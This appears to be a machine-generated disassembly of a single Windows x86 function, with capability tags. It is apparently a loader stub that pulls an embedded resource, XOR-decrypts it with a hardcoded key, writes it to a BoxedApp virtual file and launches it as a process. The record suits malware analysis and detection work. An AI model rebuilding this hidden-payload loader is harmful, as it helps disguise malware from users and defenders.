Function at 0x401070
Capabilities:
Create process on windows
Create process suspended
Extract resource via kernel32 functions
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
mov eax, dword [0x41a004]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x70], 0
mov byte [ebp - 0x14], 0x13
mov byte [ebp - 0x13], 0x45
mov byte [ebp - 0x12], 0xfe
mov byte [ebp - 0x11], 0x1c
mov byte [ebp - 0x10], 0x51
mov byte [ebp - 0xf], 0x7a
mov byte [ebp - 0xe], 0x88
mov byte [ebp - 0xd], 0x90
mov byte [ebp - 0xc], 0xaa
mov byte [ebp - 0xb], 0x3b
mov byte [ebp - 0xa], 0xb1
mov byte [ebp - 9], 0xc3
mov byte [ebp - 8], 0xd2
mov byte [ebp - 7], 0x8a
mov byte [ebp - 6], 0x5a
mov byte [ebp - 5], 0x2f
push 0x41880c
push 0xff
mov eax, dword [0x41a8b0]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0
jne 0x4010f0
xor eax, eax
jmp 0x401315
mov ecx, dword [ebp - 0x7c]
push ecx
mov edx, dword [0x41a8b0]
push edx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jne 0x401117
xor eax, eax
jmp 0x401315
mov eax, dword [ebp - 0x8c]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jne 0x40113a
xor eax, eax
jmp 0x401315
mov ecx, dword [ebp - 0x7c]
push ecx
mov edx, dword [0x41a8b0]
push edx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0
jne 0x40115b
xor eax, eax
jmp 0x401315
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0x80]
mov dword [ebp - 0x74], ecx
push 0x41b430
push 0x200
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0x418810
push 0x41b430
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [ebp - 0x80]
mov dword [ebp - 0x74], edx
push 1
xor eax, eax
mov ecx, dword [ebp - 0x74]
add ecx, 0x64
setb al
neg eax
or eax, ecx
push eax
call fcn.0040607e
add esp, 8
mov dword [ebp - 0x78], eax
mov edx, dword [ebp - 0x74]
push edx
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x78]
push ecx
call fcn.00402cf0
add esp, 0xc
mov dword [ebp - 0x6c], 0
jmp 0x4011d6
mov edx, dword [ebp - 0x6c]
add edx, 1
mov dword [ebp - 0x6c], edx
mov eax, dword [ebp - 0x6c]
cmp eax, dword [ebp - 0x74]
jge 0x401214
cmp dword [ebp - 0x70], 0x10
jne 0x4011eb
mov dword [ebp - 0x70], 0
mov ecx, dword [ebp - 0x78]
add ecx, dword [ebp - 0x6c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x70]
movzx ecx, byte [ebp + eax - 0x14]
xor edx, ecx
xor edx, 0x25
mov eax, dword [ebp - 0x78]
add eax, dword [ebp - 0x6c]
mov byte [eax], dl
mov ecx, dword [ebp - 0x70]
add ecx, 1
mov dword [ebp - 0x70], ecx
jmp 0x4011cd
call dword [sym.imp.bxsdk32.dll_BoxedAppSDK_Init]
cmp eax, 1
jne 0x4012fe
push 0
push 0
push 1
push 0
push 1
push 0x40000000
push 0x41b430
call dword [sym.imp.bxsdk32.dll_BoxedAppSDK_CreateVirtualFileA]
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0xffffffff
je 0x4012fe
mov edx, dword [ebp - 0x74]
push edx
mov eax, dword [ebp - 0x78]
push eax
mov ecx, dword [ebp - 0x88]
push ecx
call dword [sym.imp.KERNEL32.dll__lwrite]
mov edx, dword [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll__lclose]
push 1
push 2
call dword [sym.imp.bxsdk32.dll_BoxedAppSDK_EnableOption]
push 0x44
push 0
lea eax, [ebp - 0x58]
push eax
call fcn.00402270
add esp, 0xc
mov dword [ebp - 0x58], 0x44
xor ecx, ecx
mov dword [ebp - 0x68], ecx
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x5c], ecx
lea edx, [ebp - 0x68]
push edx
lea eax, [ebp - 0x58]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x41b430
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4012de
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CreateProcess_failed___d_._n
call fcn.00401030
add esp, 8
xor eax, eax
jmp 0x401315
push 0xffffffffffffffff
mov ecx, dword [ebp - 0x68]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp - 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x8c]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeResource]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040133a
mov esp, ebp
pop ebp
ret 0x10